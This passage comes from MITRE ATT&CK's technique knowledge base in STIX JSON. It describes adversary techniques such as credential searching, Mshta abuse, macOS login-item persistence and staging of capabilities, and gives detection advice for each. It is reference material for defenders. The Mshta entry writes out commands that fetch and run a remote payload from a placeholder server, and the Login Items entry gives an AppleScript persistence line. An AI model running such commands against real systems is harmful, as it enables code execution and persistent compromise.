TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."},{"source_name":"Unit 42 Unsecured Docker Daemons","url":"https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/","description":"Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021."},{"source_name":"Specter Ops - Cloud Credential Storage","url":"https://posts.specterops.io/head-in-the-clouds-bd038bb69e48","description":"Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019."}],"modified":"2021-04-12T18:32:32.803Z","name":"Credentials In Files","description":"Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nIn cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Access","Command: Command Execution"],"x_mitre_permissions_required":["Administrator","SYSTEM","User"],"x_mitre_system_requirements":["Access to files"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--83a766f8-1501-4b3a-a2de-2e2849e8dfc1","type":"attack-pattern","created":"2020-03-11T14:56:34.154Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1568.003","url":"https://attack.mitre.org/techniques/T1568/003"},{"url":"http://www.crowdstrike.com/blog/whois-numbered-panda/","description":"Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.","source_name":"Meyers Numbered Panda"},{"url":"https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html","description":"Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin’s Favorite APT Group &#91;Blog&#93;. Retrieved November 12, 2014.","source_name":"Moran 2014"},{"source_name":"Rapid7G20Espionage","description":"Rapid7. (2013, August 26). Upcoming G20 Summit Fuels Espionage Operations. Retrieved March 6, 2017.","url":"https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/"}],"modified":"2020-03-27T20:54:28.287Z","name":"DNS Calculation","description":"Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)\n\nOne implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Detection for this technique is difficult because it would require knowledge of the specific implementation of the port calculation algorithm. Detection may be possible by analyzing DNS records if the algorithm is known.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["@ionstorm","Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank","Ricardo Dias"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","type":"attack-pattern","created":"2020-01-23T19:32:49.557Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1218.005","url":"https://attack.mitre.org/techniques/T1218/005"},{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"},{"source_name":"Red Canary HTA Abuse Part Deux","description":"McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.","url":"https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/"},{"url":"https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html","description":"Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.","source_name":"FireEye Attacks Leveraging HTA"},{"description":"Dove, A. (2016, March 23). Fileless Malware – A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.","source_name":"Airbus Security Kovter Analysis","url":"https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/"},{"url":"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html","description":"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.","source_name":"FireEye FIN7 April 2017"},{"source_name":"Wikipedia HTML Application","description":"Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.","url":"https://en.wikipedia.org/wiki/HTML_Application"},{"source_name":"MSDN HTML Applications","description":"Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.","url":"https://msdn.microsoft.com/library/ms536471.aspx"},{"source_name":"LOLBAS Mshta","url":"https://lolbas-project.github.io/lolbas/Binaries/Mshta/","description":"LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019."}],"modified":"2022-03-11T20:38:28.802Z","name":"Mshta","description":"Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nMshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nFiles may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))</code>\n\nThey may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>\n\nMshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed .hta files to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the .hta file being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious","x_mitre_is_subtechnique":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","File: File Creation","Network Traffic: Network Connection Creation","Command: Command Execution"],"x_mitre_defense_bypassed":["Application control","Digital Certificate Validation"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3","type":"attack-pattern","created":"2021-10-05T21:26:15.081Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1547.015","url":"https://attack.mitre.org/techniques/T1547/015"},{"source_name":"Open Login Items Apple","url":"https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac","description":"Apple. (n.d.). Open items automatically when you log in on Mac. Retrieved October 1, 2021."},{"url":"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html","description":"Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.","source_name":"Adding Login Items"},{"source_name":"SMLoginItemSetEnabled Schroeder 2013","url":"https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/","description":"Tim Schroeder. (2013, April 21). SMLoginItemSetEnabled Demystified. Retrieved October 5, 2021."},{"source_name":"Launch Services Apple Developer","url":"https://developer.apple.com/documentation/coreservices/launch_services","description":"Apple. (n.d.). Launch Services. Retrieved October 5, 2021."},{"source_name":"ELC Running at startup","url":"https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/","description":"hoakley. (2018, May 22). Running at startup: when to use a Login Item or a LaunchAgent/LaunchDaemon. Retrieved October 5, 2021."},{"source_name":"Login Items AE","url":"https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788","description":"Apple. (n.d.). Login Items AE. Retrieved October 4, 2021."},{"source_name":"Startup Items Eclectic","url":"https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/","description":"hoakley. (2021, September 16). How to run an app or tool at startup. Retrieved October 5, 2021."},{"source_name":"hexed osx.dok analysis 2019","url":"http://www.hexed.in/2019/07/osxdok-analysis.html","description":"fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October 4, 2021."},{"source_name":"Add List Remove Login Items Apple Script","url":"https://gist.github.com/kaloprominat/6111584","description":"kaloprominat. (2013, July 30). macos: manage add list remove login items apple script. Retrieved October 5, 2021."},{"url":"https://objective-see.com/blog/blog_0x25.html","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","source_name":"objsee mac malware 2017"},{"source_name":"CheckPoint Dok","url":"https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/","description":"Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021."},{"source_name":"objsee netwire backdoor 2019","url":"https://objective-see.com/blog/blog_0x44.html","description":"Patrick Wardle. (2019, June 20). Burned by Fire(fox). Retrieved October 1, 2021."},{"source_name":"objsee block blocking login items","url":"https://objective-see.com/blog/blog_0x31.html","description":"Patrick Wardle. (2018, July 23). Block Blocking Login Items. Retrieved October 1, 2021."},{"source_name":"sentinelone macos persist Jun 2019","url":"https://www.sentinelone.com/blog/how-malware-persists-on-macos/","description":"Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019."},{"source_name":"Launch Service Keys Developer Apple","url":"https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1","description":"Apple. (2018, June 4). Launch Services Keys. Retrieved October 5, 2021."}],"modified":"2021-10-18T16:36:37.042Z","name":"Login Items","description":"Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call <code>SMLoginItemSetEnabled</code>.\n\nLogin items installed using the Service Management Framework leverage <code>launchd</code>, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\n\nAdversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as <code>tell application “System Events” to make login item at end with properties /path/to/executable</code>.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"All login items created via shared file lists are viewable by using the System Preferences GUI or in the <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code> file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited for known good applications.\n\nOtherwise, login Items are located in <code>Contents/Library/LoginItems</code> within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) Monitor applications that leverage login items with either the LSUIElement or LSBackgroundOnly key in the Info.plist file set to true.(Citation: Adding Login Items)(Citation: Launch Service Keys Developer Apple)\n\nMonitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior,, such as establishing network connections.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification","Process: Process Creation","File: File Creation"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0","type":"attack-pattern","created":"2021-03-17T20:04:09.331Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1608","url":"https://attack.mitre.org/techniques/T1608"},{"source_name":"Volexity Ocean Lotus November 2020","url":"https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/","description":"Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."},{"source_name":"FireEye CFR Watering Hole 2012","url":"https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html","description":"Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020."},{"source_name":"Gallagher 2015","description":"Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as “watering holes”. Retrieved January 25, 2016.","url":"http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/"},{"source_name":"ATT ScanBox","url":"https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks","description":"Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020."},{"source_name":"Malwarebytes Silent Librarian October 2020","url":"https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/","description":"Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021."},{"source_name":"Proofpoint TA407 September 2019","url":"https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian","description":"Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021."},{"source_name":"DigiCert Install SSL Cert","url":"https://www.digicert.com/kb/ssl-certificate-installation.htm","description":"DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021."}],"modified":"2022-03-08T21:59:57.521Z","name":"Stage Capabilities","description":"Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020)\n\nStaging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):\n\n* Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox)\n* Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019)\n* Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020)\n* Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: DigiCert Install SSL Cert)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"If infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Internet Scan: Response Content"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701","type":"attack-pattern","created":"2021-03-17T20:35:08.429Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1608.005","url":"https://attack.mitre.org/techniques/T1608/005"},{"source_name":"Malwarebytes Silent Librarian October 2020","url":"https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/","description":"Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021."},{"source_name":"Proofpoint TA407 September 2019","url":"https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian","description":"Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021."}],"modified":"2021-10-17T16:28:41.565Z","name":"Link Target","description":"Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link. \n\nTypically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Link shortening services can also be employed.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"If infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Internet Scan: Response Content"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91","type":"attack-pattern","created":"2017-05-31T21:31:15.935Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1104","external_id":"T1104"}],"modified":"2020-07-14T19:43:38.181Z","name":"Multi-Stage Channels","description":"Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Connection Creation"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Nick Carr, Mandiant"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852","type":"attack-pattern","created":"2019-01-31T02:10:08.261Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1480","url":"https://attack.mitre.org/techniques/T1480"},{"source_name":"FireEye Kevin Mandia Guardrails","url":"https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/","description":"Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says U.S. malware is more restrained than adversaries'. Retrieved January 17, 2019."},{"source_name":"FireEye Outlook Dec 2019","url":"https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html","description":"McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved June 23, 2020."}],"modified":"2021-06-09T18:53:58.471Z","name":"Execution Guardrails","description":"Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)\n\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Detecting the use of guardrails may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation"],"x_mitre_defense_bypassed":["Anti-virus","Host forensic analysis","Signature-based detection","Static file analysis"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Regina Elwell","Isif Ibrahima, Mandiant"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--8565825b-21c8-4518-b75e-cbc4c717a156","created":"2021-10-01T17:58:26.445Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1619","url":"https://attack.mitre.org/techniques/T1619"},{"source_name":"ListObjectsV2","url":"https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjectsV2.html","description":"Amazon - ListObjectsV2. Retrieved October 4, 2021."},{"source_name":"List Blobs","url":"https://docs.microsoft.com/en-us/rest/api/storageservices/list-blobs","description":"Microsoft - List Blobs. (n.d.). Retrieved October 4, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage.  Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure.\n\nCloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) .","modified":"2022-04-11T22:29:43.677Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Cloud Storage Object Discovery","x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. \nMonitor cloud logs for API calls used for file or object enumeration for unusual activity. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Cloud Storage: Cloud Storage Access","Cloud Storage: Cloud Storage Enumeration"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows","SaaS","IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jen Burns, 